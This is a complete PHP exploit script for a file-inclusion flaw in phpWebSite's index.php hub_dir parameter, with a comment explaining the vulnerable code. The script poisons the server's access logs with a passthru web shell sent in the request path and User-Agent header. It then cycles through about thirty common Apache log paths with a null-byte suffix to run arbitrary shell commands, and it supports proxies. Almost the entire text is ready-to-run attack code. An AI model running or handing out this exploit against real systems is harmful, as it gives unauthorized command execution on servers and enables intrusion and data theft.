if ($argc<4) {
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";
echo "host: target server (ip/hostname)\r\n";
echo "path: path to phpwebsite\r\n";
echo "cmd: a shell command\r\n";
echo "Options:\r\n";
echo " -p[port]: specify a port other than 80\r\n";
echo " -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /phpwebsite/ ls -la\r\n";
die;
}

/* explaination:
vulnerable code in index.php at lines 21-29:

...
if (!isset($hub_dir)) {
$hub_dir = NULL;
}
if (!preg_match ("/:\/\//i", $hub_dir)) {
loadConfig($hub_dir);
} else {
exit('FATAL ERROR! Hub directory was malformed.');
}
...

and at lines 125-143:

...
function loadConfig($hub_dir){

if (file_exists($hub_dir . 'conf/config.php')) {
if (filesize($hub_dir . 'conf/config.php') > 0) {
include($hub_dir . 'conf/config.php');

define('PHPWS_SOURCE_DIR', $source_dir);

} else {

header('Location: ./setup/set_config.php');
exit();
}
} else {
header('Location: ./setup/set_config.php');
exit();
}
}
....

so, you can include files from local resources, poc:

http://[target]/[path]/index.php?hub_dir=/var/log/httpd/access_log%00

you don't see output, but we have some code in log files, it will be executed

also, on php5, arbitrary remote inclusion:

http://[target]/[path]/index.php?hub_dir=\\192.168.1.3\c\

including a full accessible share
where on samba resource you have some code in conf/config.php
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$cmd="";$port=80;$proxy="";

for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "[1] Injecting some code in log files...\r\n";
$CODE ='<?php ob_clean();echo 666;if (get_magic_quotes_gpc()) {$_GET[cmd]=striplashes($_GET[cmd]);}';
$CODE.='passthru($_GET[cmd]);echo 666;die;?>';
$packet.="GET ".$path.$CODE." HTTP/1.1\r\n";
$packet.="User-Agent: ".$CODE."\r\n";
$packet.="Host: ".$serv."\r\n";
$packet.="Connection: close\r\n\r\n";
#debug
#echo quick_dump($packet);
sendpacketii($packet);
sleep(2);

# fill with possible locations
$paths= array (
"/var/log/httpd/access_log",
"/var/log/httpd/error_log",
"../apache/logs/error.log",
"../apache/logs/access.log",
"../../apache/logs/error.log",
"../../apache/logs/access.log",
"../../../apache/logs/error.log",
"../../../apache/logs/access.log",
"../../../../apache/logs/error.log",
"../../../../apache/logs/access.log",
"/etc/httpd/logs/acces_log",
"/etc/httpd/logs/acces.log",
"/etc/httpd/logs/error_log",
"/etc/httpd/logs/error.log",
"/var/www/logs/access_log",
"/var/www/logs/access.log",
"/usr/local/apache/logs/access_log",
"/usr/local/apache/logs/access.log",
"/var/log/apache/access_log",
"/var/log/apache/access.log",
"/var/log/access_log",
"/var/www/logs/error_log",
"/www/logs/error.log",
"/usr/local/apache/logs/error_log",
"/usr/local/apache/logs/error.log",
"/var/log/apache/error_log",
"/var/log/apache/error.log",
"/var/log/access_log",
"/var/log/error_log",
);

for ($i=0; $i<=count($paths)-1; $i++)
{
$j=$i+2;
echo "[".$j."] Trying with ".$paths[$i]."%00\r\n";
$xpl=$paths[$i];
$packet ="GET ".$p."index.php?cmd=".$cmd."&hub_dir=".$xpl."%00 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
#debug, shows packets in a nice format
#echo quick_dump($packet);
sendpacketii($packet);
if (strstr($html,"666")){
echo "Exploit succeeded...\r\n";
$temp=explode("666",$html);
echo $temp[1];
die;
}
}
#if you are here...
echo "Exploit failed...";
?>